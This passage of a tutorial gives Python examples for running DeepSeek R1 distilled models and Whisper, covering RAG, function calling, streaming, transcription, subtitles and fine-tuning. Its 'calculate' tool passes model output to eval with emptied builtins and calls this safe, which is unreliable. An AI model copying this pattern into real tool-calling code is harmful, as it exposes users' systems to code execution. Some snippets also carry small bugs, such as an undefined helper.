    return tokenizer.decode(outputs[0], skip_special_tokens=True)

# Example
premise = """
- All programmers know at least one language
- Alice is a programmer
- Bob knows Python
- Python is a programming language
"""

question = "Does Alice necessarily know Python?"
print(logical_reasoning(premise, question))

def analyze_data(data_description: str, question: str) -> str:
    """Analyze data and answer questions"""
    prompt = f"""Dataset: {data_description}

Question: {question}

Analyze the data and provide insights with reasoning."""

    inputs = tokenizer(prompt, return_tensors="pt").to(model.device)
    outputs = model.generate(**inputs, max_new_tokens=1536, temperature=0.6)

    return tokenizer.decode(outputs[0], skip_special_tokens=True)

# Example
data = """
Sales data for Q1 2025:
- January: $50,000 (100 customers)
- February: $65,000 (120 customers)
- March: $72,000 (130 customers)
"""

analysis = analyze_data(
    data,
    "What is the trend in average revenue per customer?"
)
print(analysis)

def compare_options(options: list, criteria: list) -> str:
    """Compare multiple options across criteria"""
    options_text = "\n".join([f"{i+1}. {opt}" for i, opt in enumerate(options)])
    criteria_text = "\n".join([f"- {c}" for c in criteria])

    prompt = f"""Compare the following options:

{options_text}

Evaluation criteria:
{criteria_text}

Provide a detailed comparison and recommendation."""

    inputs = tokenizer(prompt, return_tensors="pt").to(model.device)
    outputs = model.generate(**inputs, max_new_tokens=2048, temperature=0.6)

    return tokenizer.decode(outputs[0], skip_special_tokens=True)

# Example
result = compare_options(
    options=[
        "PostgreSQL",
        "MongoDB",
        "MySQL"
    ],
    criteria=[
        "Performance",
        "Scalability",
        "Ease of use",
        "ACID compliance"
    ]
)
print(result)

def qa_with_context(context: str, question: str) -> str:
    """Answer questions based on provided context"""
    prompt = f"""Context:
{context}

Question: {question}

Answer based on the context provided."""

    inputs = tokenizer(prompt, return_tensors="pt").to(model.device)
    outputs = model.generate(**inputs, max_new_tokens=1024, temperature=0.6)

    return tokenizer.decode(outputs[0], skip_special_tokens=True)

# Example
context = """
The Python programming language was created by Guido van Rossum and first
released in 1991. Python emphasizes code readability with significant whitespace.
It supports multiple programming paradigms including procedural, object-oriented,
and functional programming.
"""

answer = qa_with_context(context, "When was Python first released?")
print(answer)

pip install langchain chromadb sentence-transformers

from langchain.embeddings import HuggingFaceEmbeddings
from langchain.vectorstores import Chroma
from langchain.text_splitter import RecursiveCharacterTextSplitter
from langchain.chains import RetrievalQA
from langchain_community.llms import HuggingFacePipeline

# Load documents
documents = [
    "DeepSeek R1 is an open-source reasoning model released in January 2025.",
    "It uses a Mixture of Experts architecture with 671B parameters.",
    "The model achieves 79.8% on AIME 2024 mathematics benchmark.",
    # ... more documents
]

# Split text
text_splitter = RecursiveCharacterTextSplitter(
    chunk_size=500,
    chunk_overlap=50
)
texts = text_splitter.create_documents(documents)

# Create embeddings
embeddings = HuggingFaceEmbeddings(
    model_name="sentence-transformers/all-MiniLM-L6-v2"
)

# Create vector store
vectorstore = Chroma.from_documents(texts, embeddings)

# Create retrieval chain
qa_chain = RetrievalQA.from_chain_type(
    llm=llm,  # HuggingFacePipeline from earlier
    chain_type="stuff",
    retriever=vectorstore.as_retriever(search_kwargs={"k": 3})
)

# Query
question = "What is DeepSeek R1's performance on mathematics?"
result = qa_chain.run(question)
print(result)

import json
import re

def execute_function_call(response: str, available_functions: dict):
    """Execute function calls from model responses"""
    # Extract function call from response
    pattern = r'\{"function":\s*"(\w+)",\s*"parameters":\s*(\{[^}]+\})\}'
    match = re.search(pattern, response)

    if match:
        func_name = match.group(1)
        params = json.loads(match.group(2))

        if func_name in available_functions:
            return available_functions[func_name](**params)

    return None

# Define tools
def calculate(expression: str) -> float:
    """Safely evaluate mathematical expressions"""
    try:
        return eval(expression, {"__builtins__": {}}, {})
    except:
        return "Error in calculation"

def get_weather(location: str) -> dict:
    """Get weather for location (simulated)"""
    return {
        "location": location,
        "temperature": 22,
        "condition": "sunny"
    }

available_functions = {
    "calculate": calculate,
    "get_weather": get_weather
}

# System prompt with tools
tools_description = """
Available functions:
1. calculate(expression) - Evaluate math expressions
2. get_weather(location) - Get weather for a location

To use a function, respond with:
{"function": "function_name", "parameters": {"param": "value"}}
"""

prompt = f"""{tools_description}

User: What's 15 * 23 + 45?

Respond with a function call."""

inputs = tokenizer(prompt, return_tensors="pt").to(model.device)
outputs = model.generate(**inputs, max_new_tokens=256, temperature=0.6)
response = tokenizer.decode(outputs[0], skip_special_tokens=True)

# Execute function
result = execute_function_call(response, available_functions)
print(f"Result: {result}")

pip install outlines

import outlines

# Load model for outlines
model = outlines.models.transformers(
    "deepseek-ai/DeepSeek-R1-Distill-Qwen-7B"
)

# JSON schema constraint
schema = {
    "type": "object",
    "properties": {
        "name": {"type": "string"},
        "age": {"type": "integer"},
        "skills": {
            "type": "array",
            "items": {"type": "string"}
        },
        "experience_years": {"type": "integer"}
    },
    "required": ["name", "age", "skills"]
}

generator = outlines.generate.json(model, schema)
result = generator("Generate a software engineer profile:")
print(json.dumps(result, indent=2))

# Regex constraint
email_pattern = r"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}"
generator = outlines.generate.regex(model, email_pattern)
email = generator("Generate a professional email address:")
print(email)

# Multiple choice
choices = ["Python", "JavaScript", "Java", "C++", "Go"]
generator = outlines.generate.choice(model, choices)
language = generator("What is the best language for web backends?")
print(language)

from transformers import TextIteratorStreamer
from threading import Thread

def stream_response(prompt: str):
    """Generate response with streaming"""
    streamer = TextIteratorStreamer(
        tokenizer,
        skip_special_tokens=True,
        skip_prompt=True
    )

    inputs = tokenizer(prompt, return_tensors="pt").to(model.device)

    generation_kwargs = {
        "input_ids": inputs["input_ids"],
        "attention_mask": inputs["attention_mask"],
        "max_new_tokens": 1024,
        "temperature": 0.6,
        "top_p": 0.95,
        "streamer": streamer
    }

    # Generate in thread
    thread = Thread(target=model.generate, kwargs=generation_kwargs)
    thread.start()

    # Stream output
    print("Response: ", end="", flush=True)
    for text in streamer:
        print(text, end="", flush=True)
    print()

    thread.join()

# Use
stream_response("Explain how recursion works in programming")

def multi_step_solver(problem: str, max_steps: int = 5) -> str:
    """Solve problems through iterative reasoning"""
    conversation = []

    # Initial problem
    conversation.append({
        "role": "user",
        "content": f"""Solve this problem step by step:

{problem}

Provide one reasoning step at a time."""
    })

    for step in range(max_steps):
        input_ids = tokenizer.apply_chat_template(
            conversation,
            add_generation_prompt=True,
            return_tensors="pt"
        ).to(model.device)

        outputs = model.generate(
            input_ids,
            max_new_tokens=512,
            temperature=0.6,
            pad_token_id=tokenizer.eos_token_id
        )

        response = tokenizer.decode(
            outputs[0][input_ids.shape[-1]:],
            skip_special_tokens=True
        )

        conversation.append({"role": "assistant", "content": response})

        # Check if solution is complete
        if "final answer" in response.lower() or "conclusion" in response.lower():
            break

        # Ask for next step
        conversation.append({
            "role": "user",
            "content": "Continue with the next step."
        })

    return "\n\n".join([msg["content"] for msg in conversation if msg["role"] == "assistant"])

# Example
solution = multi_step_solver("""
A company's revenue grows by 20% each year. If the revenue in 2023 was $100,000,
what will be the total revenue over 5 years (2023-2027)?
""")
print(solution)

# Mathematical/coding tasks - Lower temperature
generation_config_precise = {
    "temperature": 0.5,
    "top_p": 0.95,
    "do_sample": True
}

# Creative/open-ended tasks - Medium temperature
generation_config_balanced = {
    "temperature": 0.6,  # Recommended
    "top_p": 0.95,
    "do_sample": True
}

# Brainstorming/diverse outputs - Higher temperature
generation_config_creative = {
    "temperature": 0.7,  # Max recommended
    "top_p": 0.95,
    "do_sample": True
}

# ❌ AVOID: Temperature > 0.7 causes repetition loops
generation_config_bad = {
    "temperature": 0.9,  # Too high!
    "top_p": 0.95
}

import torch
import gc

def clear_gpu_memory():
    """Clear GPU cache"""
    gc.collect()
    torch.cuda.empty_cache()

# After inference
outputs = model.generate(...)
result = tokenizer.decode(outputs[0])
del outputs
clear_gpu_memory()

# Use context manager for automatic cleanup
class ModelInference:
    def __enter__(self):
        return self

    def __exit__(self, exc_type, exc_val, exc_tb):
        clear_gpu_memory()

    def generate(self, prompt):
        inputs = tokenizer(prompt, return_tensors="pt").to(model.device)
        outputs = model.generate(**inputs, max_new_tokens=512, temperature=0.6)
        return tokenizer.decode(outputs[0], skip_special_tokens=True)

# Use
with ModelInference() as inference:
    result = inference.generate("Your prompt")

def batch_inference(prompts: list, batch_size: int = 4) -> list:
    """Process prompts in batches for efficiency"""
    results = []

    for i in range(0, len(prompts), batch_size):
        batch = prompts[i:i + batch_size]

        inputs = tokenizer(
            batch,
            return_tensors="pt",
            padding=True,
            truncation=True,
            max_length=512
        ).to(model.device)

        outputs = model.generate(
            **inputs,
            max_new_tokens=512,
            temperature=0.6,
            pad_token_id=tokenizer.pad_token_id
        )

        batch_results = tokenizer.batch_decode(outputs, skip_special_tokens=True)
        results.extend(batch_results)

        # Clear memory after each batch
        del inputs, outputs
        torch.cuda.empty_cache()

    return results

def safe_generate(prompt: str, max_retries: int = 3) -> str:
    """Generate with error handling and retries"""
    for attempt in range(max_retries):
        try:
            inputs = tokenizer(prompt, return_tensors="pt").to(model.device)

            outputs = model.generate(
                **inputs,
                max_new_tokens=1024,
                temperature=0.6,
                top_p=0.95
            )

            result = tokenizer.decode(outputs[0], skip_special_tokens=True)

            # Cleanup
            del inputs, outputs
            torch.cuda.empty_cache()

            return result

        except RuntimeError as e:
            if "out of memory" in str(e):
                if attempt < max_retries - 1:
                    print(f"OOM error, retrying... (attempt {attempt + 1})")
                    torch.cuda.empty_cache()
                    continue
                else:
                    raise Exception("Persistent OOM error after retries")
            else:
                raise

        except Exception as e:
            print(f"Error during generation: {e}")
            if attempt < max_retries - 1:
                continue
            else:
                raise

    return "Error: Could not generate response"

def validate_and_format_prompt(prompt: str, max_length: int = 4096) -> str:
    """Validate and format prompts before generation"""
    # Remove excessive whitespace
    prompt = " ".join(prompt.split())

    # Check length
    tokens = tokenizer.encode(prompt)
    if len(tokens) > max_length:
        print(f"Warning: Prompt too long ({len(tokens)} tokens), truncating...")
        tokens = tokens[:max_length]
        prompt = tokenizer.decode(tokens)

    # Ensure no system prompt patterns
    if prompt.strip().startswith("System:"):
        print("Warning: Removing system prompt prefix")
        prompt = prompt.replace("System:", "").strip()

    return prompt

# Use
prompt = validate_and_format_prompt("Your very long prompt here...")

def select_model(task_type: str, hardware: dict) -> str:
    """Recommend model based on task and hardware"""
    vram_gb = hardware.get("vram_gb", 0)

    task_recommendations = {
        "math": {
            "min_quality": "deepseek-ai/DeepSeek-R1-Distill-Qwen-7B",
            "high_quality": "deepseek-ai/DeepSeek-R1-Distill-Qwen-32B"
        },
        "coding": {
            "min_quality": "deepseek-ai/DeepSeek-R1-Distill-Llama-8B",
            "high_quality": "deepseek-ai/DeepSeek-R1-Distill-Llama-70B"
        },
        "reasoning": {
            "min_quality": "deepseek-ai/DeepSeek-R1-Distill-Qwen-14B",
            "high_quality": "deepseek-ai/DeepSeek-R1-Distill-Qwen-32B"
        }
    }

    # Select based on VRAM
    if vram_gb < 8:
        return "deepseek-ai/DeepSeek-R1-Distill-Qwen-1.5B"
    elif vram_gb < 16:
        return task_recommendations.get(task_type, {}).get("min_quality", "deepseek-ai/DeepSeek-R1-Distill-Qwen-7B")
    elif vram_gb < 80:
        return task_recommendations.get(task_type, {}).get("high_quality", "deepseek-ai/DeepSeek-R1-Distill-Qwen-32B")
    else:
        return "deepseek-ai/DeepSeek-R1-Distill-Llama-70B"

# Example
recommended = select_model("math", {"vram_gb": 24})
print(f"Recommended model: {recommended}")

import time
import logging

logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)

def generate_with_metrics(prompt: str) -> dict:
    """Generate with performance metrics"""
    start_time = time.time()

    inputs = tokenizer(prompt, return_tensors="pt").to(model.device)
    input_tokens = len(inputs["input_ids"][0])

    logger.info(f"Input tokens: {input_tokens}")

    gen_start = time.time()
    outputs = model.generate(
        **inputs,
        max_new_tokens=1024,
        temperature=0.6
    )
    gen_time = time.time() - gen_start

    result = tokenizer.decode(outputs[0], skip_special_tokens=True)
    output_tokens = len(outputs[0])

    total_time = time.time() - start_time
    tokens_per_second = output_tokens / gen_time if gen_time > 0 else 0

    metrics = {
        "response": result,
        "input_tokens": input_tokens,
        "output_tokens": output_tokens,
        "generation_time": gen_time,
        "total_time": total_time,
        "tokens_per_second": tokens_per_second
    }

    logger.info(f"Generation metrics: {metrics}")

    return metrics

# Major languages supported (99 total)
languages = [
    "English", "Chinese", "Spanish", "French", "German", "Japanese",
    "Portuguese", "Russian", "Korean", "Arabic", "Hindi", "Italian",
    "Dutch", "Polish", "Turkish", "Vietnamese", "Indonesian", "Thai",
    "Hebrew", "Greek", "Czech", "Romanian", "Swedish", "Hungarian"
    # ... and 75 more
]

import whisper

model = whisper.load_model("tiny")
result = model.transcribe("audio.mp3")
print(result["text"])

model = whisper.load_model("base")
result = model.transcribe("audio.mp3", language="en")

model = whisper.load_model("small")
result = model.transcribe(
    "audio.mp3",
    language="en",
    task="transcribe"
)

model = whisper.load_model("medium")
result = model.transcribe(
    "audio.mp3",
    language="es",
    verbose=True
)

# Large-v3 (recommended)
model = whisper.load_model("large-v3")

# Large-v2
model = whisper.load_model("large-v2")

# Large (original)
model = whisper.load_model("large")

result = model.transcribe(
    "audio.mp3",
    task="transcribe",
    language="en"
)

def select_model(use_case):
    models = {
        "realtime": "tiny",           # Live transcription
        "mobile": "tiny",              # Mobile apps
        "chatbot": "base",             # Voice assistants
        "subtitles": "small",          # Video subtitles
        "meetings": "medium",          # Meeting transcription
        "medical": "large-v3",         # Medical dictation
        "legal": "large-v3",           # Legal transcription
        "research": "large-v3",        # Academic research
        "multilingual": "large-v3",    # Multiple languages
        "low_latency": "tiny",         # < 1s response
        "high_accuracy": "large-v3",   # Best quality
    }
    return models.get(use_case, "small")

# Usage
model_name = select_model("meetings")
model = whisper.load_model(model_name)

pip install -U openai-whisper

# Install ffmpeg (required for audio processing)
# macOS
brew install ffmpeg

# Ubuntu/Debian
sudo apt update && sudo apt install ffmpeg

# Windows (use chocolatey)
choco install ffmpeg

import whisper

# Load model
model = whisper.load_model("base")

# Transcribe
result = model.transcribe("audio.mp3")
print(result["text"])

pip install transformers torch accelerate

from transformers import AutoModelForSpeechSeq2Seq, AutoProcessor
import torch

device = "cuda:0" if torch.cuda.is_available() else "cpu"
torch_dtype = torch.float16 if torch.cuda.is_available() else torch.float32

model_id = "openai/whisper-large-v3"

# Load model
model = AutoModelForSpeechSeq2Seq.from_pretrained(
    model_id,
    torch_dtype=torch_dtype,
    low_cpu_mem_usage=True,
    use_safetensors=True
)
model.to(device)

processor = AutoProcessor.from_pretrained(model_id)

# Transcribe
import librosa

audio, sr = librosa.load("audio.mp3", sr=16000)
inputs = processor(audio, sampling_rate=16000, return_tensors="pt")
inputs = inputs.to(device)

generated_ids = model.generate(inputs["input_features"])
transcription = processor.batch_decode(generated_ids, skip_special_tokens=True)[0]
print(transcription)

pip install faster-whisper

from faster_whisper import WhisperModel

# Load model (runs on GPU by default)
model = WhisperModel("large-v3", device="cuda", compute_type="float16")

# Or CPU
# model = WhisperModel("large-v3", device="cpu", compute_type="int8")

# Transcribe
segments, info = model.transcribe("audio.mp3", language="en")

print(f"Detected language: {info.language} (probability: {info.language_probability})")

for segment in segments:
    print(f"[{segment.start:.2f}s -> {segment.end:.2f}s] {segment.text}")

pip install whisperx

import whisperx

device = "cuda"
batch_size = 16
compute_type = "float16"

# Load model
model = whisperx.load_model("large-v3", device, compute_type=compute_type)

# Transcribe
audio = whisperx.load_audio("audio.mp3")
result = model.transcribe(audio, batch_size=batch_size)

# Align (word-level timestamps)
model_a, metadata = whisperx.load_align_model(
    language_code=result["language"],
    device=device
)
result = whisperx.align(
    result["segments"],
    model_a,
    metadata,
    audio,
    device
)

# Diarization (speaker identification)
diarize_model = whisperx.DiarizationPipeline(
    use_auth_token="YOUR_HF_TOKEN",
    device=device
)
diarize_segments = diarize_model(audio)
result = whisperx.assign_word_speakers(diarize_segments, result)

# Print with speakers
for segment in result["segments"]:
    print(f"[{segment['start']:.2f}s - {segment['end']:.2f}s] Speaker {segment.get('speaker', 'Unknown')}: {segment['text']}")

pip install openai

from openai import OpenAI

client = OpenAI(api_key="your-api-key")

# Transcribe
with open("audio.mp3", "rb") as audio_file:
    transcript = client.audio.transcriptions.create(
        model="whisper-1",
        file=audio_file,
        response_format="text"
    )
    print(transcript)

# With timestamps
transcript = client.audio.transcriptions.create(
    model="whisper-1",
    file=audio_file,
    response_format="verbose_json",
    timestamp_granularities=["word", "segment"]
)

# Translation (to English)
translation = client.audio.translations.create(
    model="whisper-1",
    file=audio_file
)

# Install
pip install openai-whisper

# Transcribe
whisper audio.mp3 --model medium --language en

# With options
whisper audio.mp3 \
  --model large-v3 \
  --language en \
  --task transcribe \
  --output_format srt \
  --output_dir ./transcripts

# Multiple files
whisper *.mp3 --model small --language auto

import whisper

# Load model
model = whisper.load_model("base")

# Transcribe
result = model.transcribe("audio.mp3")

# Get text
print(result["text"])

# Get segments with timestamps
for segment in result["segments"]:
    print(f"[{segment['start']:.2f}s - {segment['end']:.2f}s]: {segment['text']}")

# Specify language (faster than auto-detection)
result = model.transcribe("audio.mp3", language="en")

# Spanish
result = model.transcribe("audio.mp3", language="es")

# Japanese
result = model.transcribe("audio.mp3", language="ja")

# Translate any language to English
result = model.transcribe("audio_spanish.mp3", task="translate")
print(result["text"])  # Output in English

import whisper

model = whisper.load_model("base")

# From file
result = model.transcribe("audio.mp3")

# From URL
import urllib.request
url = "https://example.com/audio.mp3"
urllib.request.urlretrieve(url, "temp.mp3")
result = model.transcribe("temp.mp3")

# From numpy array
import numpy as np
audio_array = np.load("audio.npy")
result = model.transcribe(audio_array)

# From microphone (real-time)
import sounddevice as sd

duration = 5  # seconds
sample_rate = 16000
audio = sd.rec(int(duration * sample_rate), samplerate=sample_rate, channels=1)
sd.wait()
result = model.transcribe(audio.flatten())

result = model.transcribe("audio.mp3", verbose=True)

# Access detailed information
print(f"Language: {result['language']}")
print(f"Text: {result['text']}")

# Segments with more info
for segment in result['segments']:
    print(f"ID: {segment['id']}")
    print(f"Start: {segment['start']:.2f}s")
    print(f"End: {segment['end']:.2f}s")
    print(f"Text: {segment['text']}")
    print(f"Tokens: {segment['tokens']}")
    print(f"Temperature: {segment['temperature']}")
    print(f"Avg Logprob: {segment['avg_logprob']}")
    print(f"Compression Ratio: {segment['compression_ratio']}")
    print(f"No Speech Prob: {segment['no_speech_prob']}")
    print("---")

# Plain text
result = model.transcribe("audio.mp3")
text = result["text"]

# SRT (SubRip)
def to_srt(result):
    srt = ""
    for i, segment in enumerate(result["segments"], start=1):
        start = format_timestamp(segment["start"])
        end = format_timestamp(segment["end"])
        text = segment["text"].strip()
        srt += f"{i}\n{start} --> {end}\n{text}\n\n"
    return srt

def format_timestamp(seconds):
    hours = int(seconds // 3600)
    minutes = int((seconds % 3600) // 60)
    secs = int(seconds % 60)
    millis = int((seconds % 1) * 1000)
    return f"{hours:02d}:{minutes:02d}:{secs:02d},{millis:03d}"

srt_output = to_srt(result)
with open("subtitles.srt", "w") as f:
    f.write(srt_output)

# VTT (WebVTT)
def to_vtt(result):
    vtt = "WEBVTT\n\n"
    for segment in result["segments"]:
        start = format_vtt_timestamp(segment["start"])
        end = format_vtt_timestamp(segment["end"])
        text = segment["text"].strip()
        vtt += f"{start} --> {end}\n{text}\n\n"
    return vtt

# JSON
import json
with open("transcript.json", "w") as f:
    json.dump(result, f, indent=2)

# Dataset format: audio files + transcripts
# Directory structure:
# data/
#   train/
#     audio1.mp3
#     audio1.txt
#     audio2.mp3
#     audio2.txt
#   test/
#     audio1.mp3
#     audio1.txt

from datasets import Dataset, Audio
import os

def load_data(data_dir):
    audio_files = []
    transcripts = []

    for filename in os.listdir(data_dir):
        if filename.endswith('.mp3'):
            audio_path = os.path.join(data_dir, filename)
            txt_path = audio_path.replace('.mp3', '.txt')

            if os.path.exists(txt_path):
                audio_files.append(audio_path)
                with open(txt_path, 'r') as f:
                    transcripts.append(f.read().strip())

    return Dataset.from_dict({
        "audio": audio_files,
        "transcription": transcripts
    }).cast_column("audio", Audio(sampling_rate=16000))

train_dataset = load_data("data/train")
test_dataset = load_data("data/test")

pip install transformers datasets accelerate evaluate jiwer

from transformers import (
    WhisperForConditionalGeneration,
    WhisperProcessor,
    Seq2SeqTrainingArguments,
    Seq2SeqTrainer
)
from dataclasses import dataclass
from typing import Any, Dict, List, Union
import torch

# Load model and processor
model_id = "openai/whisper-small"
model = WhisperForConditionalGeneration.from_pretrained(model_id)
processor = WhisperProcessor.from_pretrained(model_id)

# Prepare data
def prepare_dataset(batch):
    audio = batch["audio"]

    # Compute input features
    batch["input_features"] = processor(
        audio["array"],
        sampling_rate=audio["sampling_rate"]
    ).input_features[0]

    # Encode transcription
    batch["labels"] = processor.tokenizer(batch["transcription"]).input_ids

    return batch

train_dataset = train_dataset.map(
    prepare_dataset,
    remove_columns=train_dataset.column_names
)

# Data collator
@dataclass
class DataCollatorSpeechSeq2SeqWithPadding:
    processor: Any

    def __call__(self, features: List[Dict[str, Union[List[int], torch.Tensor]]]) -> Dict[str, torch.Tensor]:
        input_features = [{"input_features": feature["input_features"]} for feature in features]
        batch = self.processor.feature_extractor.pad(input_features, return_tensors="pt")

        label_features = [{"input_ids": feature["labels"]} for feature in features]
        labels_batch = self.processor.tokenizer.pad(label_features, return_tensors="pt")

        labels = labels_batch["input_ids"].masked_fill(
            labels_batch.attention_mask.ne(1), -100
        )

        if (labels[:, 0] == self.processor.tokenizer.bos_token_id).all().cpu().item():
            labels = labels[:, 1:]

        batch["labels"] = labels
        return batch

data_collator = DataCollatorSpeechSeq2SeqWithPadding(processor=processor)

# Training arguments
training_args = Seq2SeqTrainingArguments(
    output_dir="./whisper-finetuned",
    per_device_train_batch_size=8,
    gradient_accumulation_steps=2,
    learning_rate=1e-5,
    warmup_steps=50,
    num_train_epochs=3,
    evaluation_strategy="steps",
    eval_steps=100,
    save_steps=100,
    logging_steps=25,
    load_best_model_at_end=True,
    metric_for_best_model="wer",
    greater_is_better=False,
    push_to_hub=False,
    fp16=True,
    predict_with_generate=True,
    generation_max_length=225,
)

# Metrics
import evaluate
wer_metric = evaluate.load("wer")

def compute_metrics(pred):
    pred_ids = pred.predictions
    label_ids = pred.label_ids

    # Replace -100 with pad_token_id
    label_ids[label_ids == -100] = processor.tokenizer.pad_token_id

    # Decode
    pred_str = processor.tokenizer.batch_decode(pred_ids, skip_special_tokens=True)
    label_str = processor.tokenizer.batch_decode(label_ids, skip_special_tokens=True)

    # Compute WER
    wer = 100 * wer_metric.compute(predictions=pred_str, references=label_str)

    return {"wer": wer}

# Trainer
trainer = Seq2SeqTrainer(
    args=training_args,
    model=model,
    train_dataset=train_dataset,
    eval_dataset=test_dataset,
    data_collator=data_collator,
    compute_metrics=compute_metrics,
    tokenizer=processor.feature_extractor,
)

# Train
trainer.train()

# Save
model.save_pretrained("./whisper-finetuned-final")
processor.save_pretrained("./whisper-finetuned-final")

pip install peft

from peft import LoraConfig, get_peft_model, prepare_model_for_kbit_training

# LoRA configuration
lora_config = LoraConfig(
    r=32,
    lora_alpha=64,
    target_modules=["q_proj", "v_proj"],
    lora_dropout=0.05,
    bias="none",
)

# Prepare model
model = prepare_model_for_kbit_training(model)
model = get_peft_model(model, lora_config)
model.print_trainable_parameters()
# trainable params: 2.6M / total: 244M (~1%)

# Train as before
trainer = Seq2SeqTrainer(...)
trainer.train()

# Merge and save
model = model.merge_and_unload()
model.save_pretrained("./whisper-lora-merged")

from transformers import pipeline

# Load fine-tuned model
pipe = pipeline(
    "automatic-speech-recognition",
    model="./whisper-finetuned-final",
    device="cuda:0"
)

# Transcribe
result = pipe("audio.mp3")
print(result["text"])

import whisper

model = whisper.load_model("base")

# Detect language
audio = whisper.load_audio("audio.mp3")
audio = whisper.pad_or_trim(audio)

mel = whisper.log_mel_spectrogram(audio).to(model.device)
_, probs = model.detect_language(mel)

detected_language = max(probs, key=probs.get)
print(f"Detected language: {detected_language} (confidence: {probs[detected_language]:.2%})")

# All probabilities
for lang, prob in sorted(probs.items(), key=lambda x: x[1], reverse=True)[:5]:
    print(f"{lang}: {prob:.2%}")

import whisper
import os
from pathlib import Path

model = whisper.load_model("small")

def transcribe_directory(input_dir, output_dir, language="en"):
    Path(output_dir).mkdir(parents=True, exist_ok=True)

    audio_files = list(Path(input_dir).glob("*.mp3")) + \
                  list(Path(input_dir).glob("*.wav"))

    for audio_file in audio_files:
        print(f"Transcribing: {audio_file.name}")

        result = model.transcribe(
            str(audio_file),
            language=language,
            verbose=False
        )

        # Save transcript
        output_file = Path(output_dir) / f"{audio_file.stem}.txt"
        with open(output_file, "w") as f:
            f.write(result["text"])

        # Save SRT
        srt_file = Path(output_dir) / f"{audio_file.stem}.srt"
        with open(srt_file, "w") as f:
            f.write(to_srt(result))

        print(f"✓ Saved: {output_file.name}")

# Usage
transcribe_directory("./audio_files", "./transcripts", language="en")

import whisper
import pyaudio
import numpy as np
import queue
import threading

model = whisper.load_model("base")

# Audio settings
CHUNK = 1024
FORMAT = pyaudio.paInt16
CHANNELS = 1
RATE = 16000
RECORD_SECONDS = 5  # Process every 5 seconds

audio_queue = queue.Queue()

def audio_callback(in_data, frame_count, time_info, status):
    audio_queue.put(in_data)
    return (in_data, pyaudio.paContinue)

def transcribe_stream():
    p = pyaudio.PyAudio()

    stream = p.open(
        format=FORMAT,
        channels=CHANNELS,
        rate=RATE,
        input=True,
        frames_per_buffer=CHUNK,
        stream_callback=audio_callback
    )

    stream.start_stream()

    audio_buffer = []

    try:
        while stream.is_active():
            if not audio_queue.empty():
                data = audio_queue.get()
                audio_buffer.append(np.frombuffer(data, dtype=np.int16))

                # Process when buffer reaches target length
                if len(audio_buffer) >= (RATE * RECORD_SECONDS) // CHUNK:
                    audio_data = np.concatenate(audio_buffer).astype(np.float32) / 32768.0

                    result = model.transcribe(audio_data)
                    print(f"Transcription: {result['text']}")

                    audio_buffer = []

    except KeyboardInterrupt:
        print("Stopping...")

    finally:
        stream.stop_stream()
        stream.close()
        p.terminate()

# Run
transcribe_stream()

import whisper
import subprocess
import os

def generate_subtitles(video_file, output_srt, model_size="small", language="en"):
    # Extract audio from video
    audio_file = "temp_audio.mp3"
    subprocess.run([
        "ffmpeg", "-i", video_file,
        "-vn", "-acodec", "mp3",
        "-y", audio_file
    ], check=True)

    # Transcribe
    model = whisper.load_model(model_size)
    result = model.transcribe(audio_file, language=language)

    # Generate SRT
    with open(output_srt, "w") as f:
        f.write(to_srt(result))

    # Clean up
    os.remove(audio_file)

    print(f"✓ Subtitles saved to: {output_srt}")

# Burn subtitles into video
def burn_subtitles(video_file, srt_file, output_file):
    subprocess.run([
        "ffmpeg", "-i", video_file,
        "-vf", f"subtitles={srt_file}",
        "-c:a", "copy",
        "-y", output_file
    ], check=True)

    print(f"✓ Video with subtitles: {output_file}")

# Usage
generate_subtitles("video.mp4", "subtitles.srt", model_size="medium", language="en")
burn_subtitles("video.mp4", "subtitles.srt", "video_with_subs.mp4")

def search_in_transcript(audio_file, search_terms, model_size="base"):
    model = whisper.load_model(model_size)
    result = model.transcribe(audio_file)

    matches = []

    for segment in result["segments"]:
        text = segment["text"].lower()

        for term in search_terms:
            if term.lower() in text:
                matches.append({
                    "term": term,
                    "timestamp": segment["start"],
                    "end": segment["end"],
                    "text": segment["text"]
                })

    return matches

# Usage
results = search_in_transcript(
    "meeting.mp3",
    ["budget", "deadline", "milestone"]
)

for match in results:
    print(f"[{match['timestamp']:.1f}s] Found '{match['term']}': {match['text']}")

import whisper
from datetime import datetime, timedelta

def transcribe_meeting(audio_file, meeting_name=None):
    model = whisper.load_model("medium")

    print("Transcribing meeting...")
    result = model.transcribe(audio_file, language="en")

    # Generate formatted transcript
    meeting_name = meeting_name or "Meeting"
    timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")

    transcript = f"# {meeting_name}\n"
    transcript += f"Date: {timestamp}\n"
    transcript += f"Duration: {result['segments'][-1]['end']:.0f} seconds\n\n"
    transcript += "## Transcript\n\n"

    for segment in result["segments"]:
        time_str = str(timedelta(seconds=int(segment["start"])))
        transcript += f"**[{time_str}]** {segment['text']}\n\n"

    # Save
    output_file = f"{meeting_name}_{datetime.now().strftime('%Y%m%d')}.md"
    with open(output_file, "w") as f:
        f.write(transcript)

    print(f"✓ Meeting transcript saved: {output_file}")
    return result

# Usage
transcribe_meeting("team_meeting.mp3", "Weekly Team Sync")

from faster_whisper import WhisperModel
import torch

model = WhisperModel("base", device="cuda")

# Transcribe with VAD
segments, info = model.transcribe(
    "audio.mp3",
    vad_filter=True,
    vad_parameters=dict(
        threshold=0.5,
        min_speech_duration_ms=250,
        max_speech_duration_s=float('inf'),
        min_silence_duration_ms=2000,
        window_size_samples=1024,
        speech_pad_ms=400
    )
)

for segment in segments:
    print(f"[{segment.start:.2f}s - {segment.end:.2f}s] {segment.text}")

# Use initial_prompt to guide transcription style
result = model.transcribe(
    "audio.mp3",
    initial_prompt="This is a technical discussion about machine learning, neural networks, and artificial intelligence."
)

# For proper nouns and terminology
result = model.transcribe(
    "medical.mp3",
    initial_prompt="Medical terminology: MRI, CT scan, diagnosis, prognosis, pharmacology"
)

# For formatting
result = model.transcribe(
    "interview.mp3",
    initial_prompt="Q: Question text\nA: Answer text"
)

# For specific style
result = model.transcribe(
    "presentation.mp3",
    initial_prompt="Professional presentation with proper punctuation and capitalization."
)

# Process long audio in chunks with context
def transcribe_with_context(audio_file, chunk_duration=30, overlap=5):
    model = whisper.load_model("medium")
    audio = whisper.load_audio(audio_file)
    sample_rate = 16000

    chunk_samples = chunk_duration * sample_rate
    overlap_samples = overlap * sample_rate

    transcripts = []
    previous_text = ""

    for i in range(0, len(audio), chunk_samples - overlap_samples):
        chunk = audio[i:i + chunk_samples]

        # Use previous text as context
